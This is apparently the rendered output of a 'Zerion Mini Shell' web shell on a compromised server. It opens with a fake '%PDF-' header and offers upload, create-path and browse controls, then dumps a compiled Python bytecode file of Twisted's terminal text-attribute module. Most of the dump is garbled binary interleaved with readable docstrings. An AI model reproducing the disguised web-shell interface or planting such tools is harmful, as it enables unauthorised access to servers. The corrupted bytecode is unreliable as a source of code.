%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/__pycache__/_textattributes.cpython-312.pyc

�

Ϫ�f�#���dZddlmZmZmZddlmZGd�de�ZGd�de�ZGd�d	e�Z	Gd
�de�Z
Gd�d
e
�ZGd�de
�ZGd�d�Z
Gd�d�ZGd�de�ZGd�de�Zdd�Zgd�Zy)am
This module provides some common functionality for the manipulation of
formatting states.

Defining the mechanism by which text containing character attributes is
constructed begins by subclassing L{CharacterAttributesMixin}.

Defining how a single formatting state is to be serialized begins by
subclassing L{_FormattingStateMixin}.

Serializing a formatting structure is done with L{flatten}.

@see: L{twisted.conch.insults.helper._FormattingState}
@see: L{twisted.conch.insults.text._CharacterAttributes}
@see: L{twisted.words.protocols.irc._FormattingState}
@see: L{twisted.words.protocols.irc._CharacterAttributes}
�)�ClassVar�List�Sequence)�FancyEqMixinc�L�eZdZUdZdZeeeed<d�Z	defd�Z
d�Zd
d	�Zy)�
_Attributea1
    A text attribute.

    Indexing a text attribute with a C{str} or another text attribute adds that
    object as a child, indexing with a C{list} or C{tuple} adds the elements as
    children; in either case C{self} is returned.

    @type children: C{list}
    @ivar children: Child attributes.
    ��children�compareAttributesc��g|_y�Nr	��selfs �@/usr/lib/python3/dist-packages/twisted/python/_textattributes.py�__init__z_Attribute.__init__+s	����
��returnc�L�dt|�j�dt|��d�S)N�<� �>)�type�__name__�varsrs r�__repr__z_Attribute.__repr__.s&���4��:�&�&�'�q��d���a�8�8rc���t|ttttf�sJ�t|ttf�r|j
j
|�|S|j
j|�|Sr
)�
isinstance�list�tupler�strr
�extend�append)r�items  r�__getitem__z_Attribute.__getitem__1s[���$��u�j�#� >�?�?�?��d�T�5�M�*��M�M� � ��&���
�M�M� � ��&��rNc���|�
t�}|jD]U}t|t�r"|j	||j�|��5t
||�}||��||��Wy)a
        Serialize the text attribute and its children.

        @param write: C{callable}, taking one C{str} argument, called to output
            a single text attribute at a time.

        @param attrs: A formatting state instance used to determine how to
            serialize the attribute children.

        @type attributeRenderer: C{str}
        @param attributeRenderer: Name of the method on I{attrs} that should be
            called to render the attributes during serialization. Defaults to
            C{'toVT102'}.
        N)�DefaultFormattingStater
rr�	serialize�copy�getattr)r�write�attrs�attributeRenderer�ch�
renderMeths      rr'z_Attribute.serialize9sc���=�*�,�E��-�-�	�B��"�j�)����U�E�J�J�L�2C�D�$�U�,=�>�
��j�l�#��b�	�
	r)N�toVT102)
r�
__module__�__qualname__�__doc__rrrr �__annotations__rrr$r'�rrrrs8��	�2?��x���
�.�>��9�#�9��rrc��eZdZdZd�Zy)�_NormalAttrz+
    A text attribute for normal text.
    c�T�|j�tj||||�yr
)rrr'�rr*r+r,s    rr'z_NormalAttr.serializeXs!��
�������T�5�%�1B�CrN)rr0r1r2r'r4rrr6r6Ss
���Drr6c�&�eZdZdZdZd�Zd�Zd�Zy)�
_OtherAttra
    A text attribute for text with formatting attributes.

    The unary minus operator returns the inverse of this attribute, where that
    makes sense.

    @type attrname: C{str}
    @ivar attrname: Text attribute name.

    @ivar attrvalue: Text attribute value.
    )�attrname�	attrvaluer
c�J�tj|�||_||_yr
)rrr;r<)rr;r<s   rrz_OtherAttr.__init__ls�����D�!� ��
�"��rc��t|j|j�}|jj	|j�|Sr
)r:r;r<r
r!)r�results  r�__neg__z_OtherAttr.__neg__qs4���D�M�M�t�~�~�+=�>�������t�}�}�-��
rc��|j|j|j�}tj	||||�yr
)�_withAttributer;r<rr'r8s    rr'z_OtherAttr.serializevs1���$�$�T�]�]�D�N�N�C�����T�5�%�1B�CrN)rr0r1r2rrr@r'r4rrr:r:]s��
�>��#�
�
Drr:c� �eZdZdZdZd�Zd�Zy)�
_ColorAttrz
    Generic color attribute.

    @param color: Color value.

    @param ground: Foreground or background attribute name.
    )�color�groundr
c�J�tj|�||_||_yr
)rrrErF)rrErFs   rrz_ColorAttr.__init__�s�����D�!���
���rc��|j|j|j�}tj	||||�yr
)rBrFrErr'r8s    rr'z_ColorAttr.serialize�s1���$�$�T�[�[�$�*�*�=�����T�5�%�1B�CrN)rr0r1r2rrr'r4rrrDrD{s���8���
DrrDc��eZdZdZd�Zy)�_ForegroundColorAttrz%
    Foreground color attribute.
    c�2�tj||d�y)N�
foreground�rDr�rrEs  rrz_ForegroundColorAttr.__init__�������D�%��6rN�rr0r1r2rr4rrrJrJ�����7rrJc��eZdZdZd�Zy)�_BackgroundColorAttrz%
    Background color attribute.
    c�2�tj||d�y)N�
backgroundrMrNs  rrz_BackgroundColorAttr.__init__�rOrNrPr4rrrSrS�rQrrSc��eZdZdZd�Zd�Zy)�_ColorAttributeab
    A color text attribute.

    Attribute access results in a color value lookup, by name, in
    I{_ColorAttribute.attrs}.

    @type ground: L{_ColorAttr}
    @param ground: Foreground or background color attribute to look color names
        up from.

    @param attrs: Mapping of color names to color values.
    @type attrs: Dict like object.
    c� �||_||_yr
)rFr+)rrFr+s   rrz_ColorAttribute.__init__�s�������
rc�p�	|j|j|�S#t$rt|��wxYwr
)rFr+�KeyError�AttributeError�r�names  r�__getattr__z_ColorAttribute.__getattr__�s9��	'��;�;�t�z�z�$�/�0�0���	'� ��&�&�	'�s� �5N)rr0r1r2rr^r4rrrWrW�s����'rrWc��eZdZdZd�Zy)�CharacterAttributesMixina
    Mixin for character attributes that implements a C{__getattr__} method
    returning a new C{_NormalAttr} instance when attempting to access
    a C{'normal'} attribute; otherwise a new C{_OtherAttr} instance is returned
    for names that appears in the C{'attrs'} attribute.
    c�j�|dk(r
t�S||jvrt|d�St|��)N�normalT)r6r+r:r[r\s  rr^z$CharacterAttributesMixin.__getattr__�s6���8���=� ��4�:�:���d�D�)�)��T�"�"rN)rr0r1r2r^r4rrr`r`�s���#rr`c�B�eZdZUdZdZeeeed<dZ	d�Z
d�Zd�Zy)	r&z[
    A character attribute that does nothing, thus applying no attributes to
    text.
    )�_dummyrrc�"�t|��S)zf
        Make a copy of this formatting state.

        @return: A formatting state instance.
        )rrs rr(zDefaultFormattingState.copy�s���t�D�z�|�rc�"�|j�S)a
        Add a character attribute to a copy of this formatting state.

        @param name: Attribute name to be added to formatting state.

        @param value: Attribute value.

        @return: A formatting state instance with the new attribute.
        )r()rr]�values   rrBz%DefaultFormattingState._withAttribute�s���y�y�{�rc��y)z�
        Emit a VT102 control sequence that will set up all the attributes this
        formatting state has set.

        @return: A string containing VT102 control sequences that mimic this
            formatting state.
        �r4rs rr/zDefaultFormattingState.toVT102�s��rN)
rr0r1r2rrrr r3rdr(rBr/r4rrr&r&�s1���
2=��x���
�.�<�
�F��
�rr&c��eZdZdZd�Zd�Zy)�_FormattingStateMixinzJ
    Mixin for the formatting state/attributes of a single character.
    c�x�tj|�}|jjt	|��|Sr
)r&r(�__dict__�updater)r�cs  rr(z_FormattingStateMixin.copy�s-��"�'�'��-��	�
�
���$�t�*�%��rc��t||�|k7r'|j�}||_t|||�|S|j�Sr
)r)r(�_subtracting�setattr)rr]rg�attrs    rrBz$_FormattingStateMixin._withAttribute�sC���4���%�'��9�9�;�D�$)�	�D���D�$��&��K��9�9�;�rN)rr0r1r2r(rBr4rrrkrk�s����
rrkc�b�g}|j|j||�dj|�S)a�
    Serialize a sequence of characters with attribute information

    The resulting string can be interpreted by compatible software so that the
    contained characters are displayed and, for those attributes which are
    supported by the software, the attributes expressed. The exact result of
    the serialization depends on the behavior of the method specified by
    I{attributeRenderer}.

    For example, if your terminal is VT102 compatible, you might run
    this for a colorful variation on the "hello world" theme::

        from twisted.conch.insults.text import flatten, attributes as A
        from twisted.conch.insults.helper import CharacterAttribute
        print(flatten(
            A.normal[A.bold[A.fg.red['He'], A.fg.green['ll'], A.fg.magenta['o'], ' ',
                            A.fg.yellow['Wo'], A.fg.blue['rl'], A.fg.cyan['d!']]],
            CharacterAttribute()))

    @param output: Object returned by accessing attributes of the
        module-level attributes object.

    @param attrs: A formatting state instance used to determine how to
        serialize C{output}.

    @type attributeRenderer: C{str}
    @param attributeRenderer: Name of the method on I{attrs} that should be
        called to render the attributes during serialization. Defaults to
        C{'toVT102'}.

    @return: A string expressing the text and display attributes specified by
        L{output}.
    ri)r'r"�join)�outputr+r,�	flatteneds    r�flattenrx	s2��D�I�
���Y�%�%�u�.?�@�
�7�7�9��r)rxr&r`N)r/)r2�typingrrr�twisted.python.utilrrr6r:rDrJrSrWr`r&rkrx�__all__r4rr�<module>r|s���
�&,�+�,�3��3�lD�*�D�D��D�<D��D�*7�:�7�7�:�7�'�'�4
#�
#� &�\�&�R�2��($�NL�r

Zerion Mini Shell 1.0